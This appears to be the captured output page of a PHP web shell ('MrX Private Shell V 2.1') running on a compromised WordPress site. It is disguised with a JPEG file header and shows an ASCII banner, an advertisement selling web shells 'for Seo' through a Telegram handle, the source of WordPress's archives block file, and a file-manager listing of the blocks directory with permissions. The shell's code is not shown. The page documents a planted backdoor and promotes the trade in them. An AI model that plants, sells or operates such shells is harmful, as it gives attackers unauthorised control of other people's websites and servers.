����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Server-side rendering of the `core/archives` block.
*
* @package WordPress
*/
/**
* Renders the `core/archives` block on server.
*
* @see WP_Widget_Archives
*
* @param array $attributes The block attributes.
*
* @return string Returns the post content with archives added.
*/
function render_block_core_archives( $attributes ) {
$show_post_count = ! empty( $attributes['showPostCounts'] );
$class = 'wp-block-archives';
if ( isset( $attributes['align'] ) ) {
$class .= " align{$attributes['align']}";
}
if ( isset( $attributes['className'] ) ) {
$class .= " {$attributes['className']}";
}
if ( ! empty( $attributes['displayAsDropdown'] ) ) {
$class .= ' wp-block-archives-dropdown';
$dropdown_id = esc_attr( uniqid( 'wp-block-archives-' ) );
$title = __( 'Archives' );
/** This filter is documented in wp-includes/widgets/class-wp-widget-archives.php */
$dropdown_args = apply_filters(
'widget_archives_dropdown_args',
array(
'type' => 'monthly',
'format' => 'option',
'show_post_count' => $show_post_count,
)
);
$dropdown_args['echo'] = 0;
$archives = wp_get_archives( $dropdown_args );
switch ( $dropdown_args['type'] ) {
case 'yearly':
$label = __( 'Select Year' );
break;
case 'monthly':
$label = __( 'Select Month' );
break;
case 'daily':
$label = __( 'Select Day' );
break;
case 'weekly':
$label = __( 'Select Week' );
break;
default:
$label = __( 'Select Post' );
break;
}
$label = esc_attr( $label );
$block_content = '<label class="screen-reader-text" for="' . $dropdown_id . '">' . $title . '</label>
<select id="' . $dropdown_id . '" name="archive-dropdown" onchange="document.location.href=this.options[this.selectedIndex].value;">
<option value="">' . $label . '</option>' . $archives . '</select>';
return sprintf(
'<div class="%1$s">%2$s</div>',
esc_attr( $class ),
$block_content
);
}
$class .= ' wp-block-archives-list';
/** This filter is documented in wp-includes/widgets/class-wp-widget-archives.php */
$archives_args = apply_filters(
'widget_archives_args',
array(
'type' => 'monthly',
'show_post_count' => $show_post_count,
)
);
$archives_args['echo'] = 0;
$archives = wp_get_archives( $archives_args );
$classnames = esc_attr( $class );
if ( empty( $archives ) ) {
return sprintf(
'<div class="%1$s">%2$s</div>',
$classnames,
__( 'No archives to show.' )
);
}
return sprintf(
'<ul class="%1$s">%2$s</ul>',
$classnames,
$archives
);
}
/**
* Register archives block.
*/
function register_block_core_archives() {
register_block_type_from_metadata(
__DIR__ . '/archives',
array(
'render_callback' => 'render_block_core_archives',
)
);
}
add_action( 'init', 'register_block_core_archives' );
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| archives | Folder | 0755 |
|
|
| audio | Folder | 0755 |
|
|
| block | Folder | 0755 |
|
|
| button | Folder | 0755 |
|
|
| buttons | Folder | 0755 |
|
|
| calendar | Folder | 0755 |
|
|
| categories | Folder | 0755 |
|
|
| classic | Folder | 0755 |
|
|
| code | Folder | 0755 |
|
|
| column | Folder | 0755 |
|
|
| columns | Folder | 0755 |
|
|
| file | Folder | 0755 |
|
|
| gallery | Folder | 0755 |
|
|
| group | Folder | 0755 |
|
|
| heading | Folder | 0755 |
|
|
| html | Folder | 0755 |
|
|
| image | Folder | 0755 |
|
|
| latest-comments | Folder | 0755 |
|
|
| latest-posts | Folder | 0755 |
|
|
| list | Folder | 0755 |
|
|
| media-text | Folder | 0755 |
|
|
| missing | Folder | 0755 |
|
|
| more | Folder | 0755 |
|
|
| nextpage | Folder | 0755 |
|
|
| paragraph | Folder | 0755 |
|
|
| preformatted | Folder | 0755 |
|
|
| pullquote | Folder | 0755 |
|
|
| quote | Folder | 0755 |
|
|
| rss | Folder | 0755 |
|
|
| search | Folder | 0755 |
|
|
| separator | Folder | 0755 |
|
|
| shortcode | Folder | 0755 |
|
|
| social-link | Folder | 0755 |
|
|
| social-links | Folder | 0755 |
|
|
| spacer | Folder | 0755 |
|
|
| subhead | Folder | 0755 |
|
|
| table | Folder | 0755 |
|
|
| tag-cloud | Folder | 0755 |
|
|
| text-columns | Folder | 0755 |
|
|
| verse | Folder | 0755 |
|
|
| video | Folder | 0755 |
|
|
| archives.php | File | 2.81 KB | 0644 |
|
| block.php | File | 937 B | 0644 |
|
| calendar.php | File | 1.71 KB | 0644 |
|
| categories.php | File | 2.52 KB | 0644 |
|
| error_log | File | 2.2 KB | 0644 |
|
| index.php | File | 1.48 KB | 0644 |
|
| latest-comments.php | File | 4.98 KB | 0644 |
|
| latest-posts.php | File | 6.82 KB | 0644 |
|
| rss.php | File | 3.28 KB | 0644 |
|
| search.php | File | 2.21 KB | 0644 |
|
| shortcode.php | File | 697 B | 0644 |
|
| social-link.php | File | 53.94 KB | 0644 |
|
| tag-cloud.php | File | 1.39 KB | 0644 |
|